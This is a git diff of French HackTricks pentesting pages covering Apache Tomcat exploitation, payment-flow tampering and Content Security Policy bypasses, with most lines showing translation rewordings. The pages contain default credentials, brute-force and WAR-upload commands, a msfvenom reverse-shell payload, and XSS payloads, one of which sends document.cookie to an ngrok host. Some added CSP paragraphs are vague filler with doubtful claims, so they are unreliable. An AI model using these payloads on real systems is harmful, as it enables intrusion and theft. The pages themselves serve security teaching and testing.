* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -45,9 +45,9 @@ Pour les versions de Tomcat antérieures à 6, il est possible d'énumérer les
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Identifiants par défaut**
### **Informations d'identification par défaut**
Le répertoire **`/manager/html`** est particulièrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut entraîner l'exécution de code. Ce répertoire est protégé par une authentification HTTP de base, avec des identifiants courants tels que :
Le répertoire **`/manager/html`** est particulièrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut entraîner l'exécution de code. Ce répertoire est protégé par une authentification HTTP de base, avec des informations d'identification courantes telles que :
* admin:admin
* tomcat:tomcat
@ -56,7 +56,7 @@ Le répertoire **`/manager/html`** est particulièrement sensible car il permet
* tomcat:s3cr3t
* admin:tomcat
Ces identifiants peuvent être testés en utilisant :
Ces informations d'identification peuvent être testées en utilisant :
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
@ -70,15 +70,15 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
```
## Vulnérabilités Courantes
### **Divulgation de la Trace de Mot de Passe**
### **Divulgation de Trace de Mot de Passe**
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace de mot de passe dans des circonstances favorables.
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace de retour sous des circonstances favorables.
### **Encodage d'URL Double**
La vulnérabilité CVE-2007-1860 dans `mod_jk` permet un encodage d'URL double pour la traversée de chemin, permettant un accès non autorisé à l'interface de gestion via une URL spécialement conçue.
Pour accéder à l'interface web de gestion de Tomcat, allez à : `cheminTomcat/%252E%252E/manager/html`
Pour accéder à l'interface de gestion de Tomcat, allez à : `cheminTomcat/%252E%252E/manager/html`
### /examples
@ -107,13 +107,13 @@ Les versions d'Apache Tomcat de 4.x à 7.x incluent des scripts d'exemple qui so
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Exploitation de la Traversée de Chemin**
### **Exploitation de Traversée de Chemin**
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
**Une autre façon** de contourner les chemins protégés en utilisant ce truc est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
## RCE
@ -121,7 +121,7 @@ Enfin, si vous avez accès au Gestionnaire d'Application Web Tomcat, vous pouvez
### Limitations
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir [POST](tomcat.md#post) section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -132,8 +132,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit is a powerful tool used for penetration testing. It provides a wide range of exploits, payloads, and auxiliary modules to help security professionals test the security of network services. Metasploit can be used to exploit vulnerabilities in the Apache Tomcat server, gaining unauthorized access to the server.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -148,7 +146,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Téléchargez le fichier `revshell.war` et accédez-y (`/revshell/`):
### Téléchargez le fichier `revshell.war` et accédez-y (`/revshell/`):
### Coquille de liaison et de reverse avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
@ -234,7 +232,7 @@ msf> use post/windows/gather/enum_tomcat
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,7 +4,7 @@
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -151,7 +151,7 @@ Le fichier nous montre à quoi donnent accès chacun des rôles `manager-gui`, `
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -163,6 +163,6 @@ Le fichier nous montre à quoi donnent accès chacun des rôles `manager-gui`, `
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,21 +25,21 @@ Autres façons de soutenir HackTricks :
## Techniques de Contournement de Paiement
### Interception de Requêtes
Pendant le processus de transaction, il est crucial de surveiller les données échangées entre le client et le serveur. Cela peut être fait en interceptant toutes les requêtes. Dans ces requêtes, recherchez des paramètres ayant des implications significatives, tels que :
Pendant le processus de transaction, il est crucial de surveiller les données échangées entre le client et le serveur. Cela peut être fait en interceptant toutes les requêtes. Dans ces requêtes, soyez attentif aux paramètres ayant des implications significatives, tels que :
- **Succès** : Ce paramètre indique souvent l'état de la transaction.
- **Référent** : Il peut indiquer la source d'où provient la requête.
- **Rappel** : Il est généralement utilisé pour rediriger l'utilisateur après l'achèvement d'une transaction.
- **Rappel** : Il est généralement utilisé pour rediriger l'utilisateur après qu'une transaction est terminée.
### Analyse d'URL
Si vous rencontrez un paramètre contenant une URL, en particulier suivant le modèle _example.com/payment/MD5HASH_, il nécessite un examen plus approfondi. Voici une approche étape par étape :
Si vous rencontrez un paramètre contenant une URL, en particulier suivant le modèle _exemple.com/paiement/MD5HASH_, il nécessite un examen plus approfondi. Voici une approche étape par étape :
1. **Copiez l'URL** : Extrayez l'URL de la valeur du paramètre.
2. **Inspection dans une Nouvelle Fenêtre** : Ouvrez l'URL copiée dans une nouvelle fenêtre de navigateur. Cette action est cruciale pour comprendre le résultat de la transaction.
### Manipulation de Paramètres
1. **Modifier les Valeurs des Paramètres** : Expérimentez en modifiant les valeurs des paramètres comme _Succès_, _Référent_ ou _Rappel_. Par exemple, changer un paramètre de `false` à `true` peut parfois révéler comment le système gère ces entrées.
2. **Supprimer des Paramètres** : Essayez de supprimer certains paramètres pour voir comment le système réagit. Certains systèmes peuvent avoir des solutions de repli ou des comportements par défaut lorsque des paramètres attendus sont manquants.
2. **Supprimer des Paramètres** : Essayez de supprimer certains paramètres complètement pour voir comment le système réagit. Certains systèmes peuvent avoir des solutions de repli ou des comportements par défaut lorsque des paramètres attendus sont manquants.
### Altération de Cookies
1. **Examiner les Cookies** : De nombreux sites web stockent des informations cruciales dans les cookies. Inspectez ces cookies pour toute donnée liée à l'état du paiement ou à l'authentification de l'utilisateur.
@ -54,7 +54,7 @@ Si vous rencontrez un paramètre contenant une URL, en particulier suivant le mo
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -67,7 +67,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -39,7 +39,7 @@ La mise en œuvre de la CSP est réalisée via des **en-têtes de réponse** ou
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implémenté via balise meta :
* Implémenté via la balise meta :
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
@ -66,7 +66,7 @@ object-src 'none';
```
### Directives
* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne, et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
* **default-src**: Définit une politique par défaut pour récupérer des ressources lorsque des directives de récupération spécifiques sont absentes.
* **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
* **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
@ -94,10 +94,10 @@ object-src 'none';
* `'data'`: Autorise le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
* `'none'`: Bloque le chargement depuis n'importe quelle source.
* `'unsafe-eval'`: Autorise l'utilisation de `eval()` et des méthodes similaires, non recommandé pour des raisons de sécurité.
* `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
* `'unsafe-hashes'`: Autorise des gestionnaires d'événements en ligne spécifiques.
* `'unsafe-inline'`: Autorise l'utilisation de ressources en ligne comme les `<script>` ou `<style>` en ligne, non recommandé pour des raisons de sécurité.
* `'nonce'`: Une liste blanche pour des scripts en ligne spécifiques en utilisant un nonce cryptographique (nombre utilisé une fois).
* Si vous avez une exécution JS limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec `doc.defaultView.top.document.querySelector("[nonce]")` et ensuite de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc ce n'est pas nécessaire), comme dans :
* Si vous avez une exécution JS limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec `doc.defaultView.top.document.querySelector("[nonce]")` et de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc ce n'est pas nécessaire), comme dans :
<details>
@ -121,7 +121,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
* `filesystem:`: Autorise le chargement de ressources à partir du système de fichiers.
* `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine, mais n'envoie que l'origine lorsque la requête est cross-origin.
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine, mais envoie uniquement l'origine lorsque la requête est cross-origin.
* `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
## Règles CSP non sécurisées
@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Charge utile de travail : `"/><script>alert(1);</script>`
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
@ -148,18 +148,18 @@ Payload de travail:
```
### strict-dynamic
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, car un script autorisé le crée, la **nouvelle balise script pourra être exécutée**.
Si vous pouvez d'une manière ou d'une autre faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, car un script autorisé le crée, la **nouvelle balise script pourra être exécutée**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Payload fonctionnel :
Payload de travail:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Absence de object-src et default-src
### Manque de object-src et default-src
{% hint style="danger" %}
**Il semble que cela ne fonctionne plus**
@ -167,7 +167,7 @@ Payload fonctionnel :
```yaml
Content-Security-Policy: script-src 'self' ;
```
**Payloads de travail :**
Payloads de travail :
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -179,25 +179,29 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si vous pouvez télécharger un fichier JS, vous pouvez contourner ce CSP :
Charge utile fonctionnelle :
Payload fonctionnel :
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de ce qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
### Points d'extrémité de tiers + ('unsafe-eval')
### Action de formulaire
Si l'injection de JS n'est pas possible, vous pouvez toujours essayer d'exfiltrer par exemple des informations d'identification en **injectant une action de formulaire** (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
### Points d'extrémité tiers + ('unsafe-eval')
{% hint style="warning" %}
Pour certains des payloads suivants, **`unsafe-eval` n'est même pas nécessaire**.
Pour certaines des charges utiles suivantes, **`unsafe-eval` n'est même pas nécessaire**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Chargez une version vulnérable d'Angular et exécutez du JS arbitraire :
Chargez une version vulnérable d'angular et exécutez du JS arbitraire :
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -246,11 +250,11 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep
{{[].erase.call().alert('xss')}}
</div>
```
## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular XSS :
## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular
---
Le nom de classe d'un élément Angular peut être utilisé pour contourner la politique de sécurité du contenu (CSP) et exécuter une attaque XSS.
## XSS Angular à partir d'un nom de classe:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -269,7 +273,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Plus de [**payloads de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Plus de [**charges utiles de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -284,11 +288,19 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Abus de www.google.com pour une redirection ouverte
L'URL suivante redirige vers example.com (à partir de [ici](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
### Points de terminaison tiers + JSONP
Il est possible d'abuser de Google Apps Script pour recevoir des informations dans une page à l'intérieur de script.google.com. Comme c'est [fait dans ce rapport](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
Les scénarios comme celui où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -306,7 +318,7 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
| Entité | Domaine autorisé | Capacités |
| Entité | Domaine Autorisé | Capacités |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -327,19 +339,51 @@ Content-Security-Policy: default-src 'self www.facebook.com;
---
## Introduction
## Contournement de la CSP basique
Dans ce guide, nous allons discuter des différentes techniques de contournement de la Politique de Sécurité du Contenu (CSP) sur les sites web.
La politique de sécurité du contenu (CSP) est une couche de sécurité supplémentaire qui aide à détecter et à atténuer certains types d'attaques, telles que les attaques de script intersites (XSS). Cependant, il existe des moyens de contourner une CSP mal configurée pour exécuter du code malveillant.
## Qu'est-ce que la CSP ?
### Contournement via les directives de rapport
La Politique de Sécurité du Contenu (CSP) est un mécanisme de sécurité qui aide à prévenir les attaques de type XSS (Cross-Site Scripting) en spécifiant les sources légitimes des ressources qui peuvent être chargées par un site web. Cela permet de réduire les risques liés à l'exécution de scripts malveillants.
Si la CSP est mal configurée pour inclure une directive de rapport (`report-uri`), il est possible d'exécuter du code malveillant sans déclencher de rapport d'incident.
## Bypass de la CSP
```html
<script>alert('CSP Bypassed!')</script>
```
Il existe plusieurs façons de contourner une CSP, notamment en exploitant des vulnérabilités telles que les injections de scripts, les redirections, les contournements basés sur les navigateurs, etc.
### Contournement via les directives de script
Dans les sections suivantes, nous explorerons en détail certaines de ces techniques de contournement de la CSP.
En exploitant les directives de script autorisées dans la CSP, il est possible d'exécuter du code malveillant en utilisant des fonctions natives du navigateur.
```html
<script src="data:,alert('CSP Bypassed!')"></script>
```
---
## Contournement de la CSP avancée
Même avec une CSP plus stricte, il existe des techniques pour contourner la politique et exécuter du code malveillant.
### Utilisation de l'attaque de type MIME
En exploitant les types MIME autorisés dans la CSP, il est possible d'exécuter du code malveillant en chargeant un fichier avec un type MIME approuvé qui contient du code exécutable.
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnQ1NQIEJ5cGFzc2VkIScpPC9zY3JpcHQ+Cg==" type="text/html"></object>
```
### Contournement via les en-têtes de réponse HTTP
En utilisant des en-têtes de réponse HTTP spécifiques, il est possible de contourner la CSP en chargeant du code malveillant à partir de sources externes.
```html
<script src="https://example.com/malicious.js"></script>
```
---
Il est essentiel de configurer correctement la CSP pour éviter ces types de contournements et renforcer la sécurité de l'application web.
```
Content-Security-Policy: connect-src www.facebook.com;
```
@ -352,7 +396,7 @@ Vous devriez être capable d'exfiltrer des données, de la même manière que ce
5. Allez dans le "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application de l'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -371,11 +415,11 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -387,10 +431,10 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
### **base-uri** manquant
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
Si la page vulnérable est chargée en **httpS**, utilisez une URL httpS dans la balise base.
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
```html
<base href="https://www.attacker.com/">
```
@ -403,7 +447,7 @@ En dirigeant ce tableau vers le filtre `orderBy`, il est possible de le parcouri
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en exploitant l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
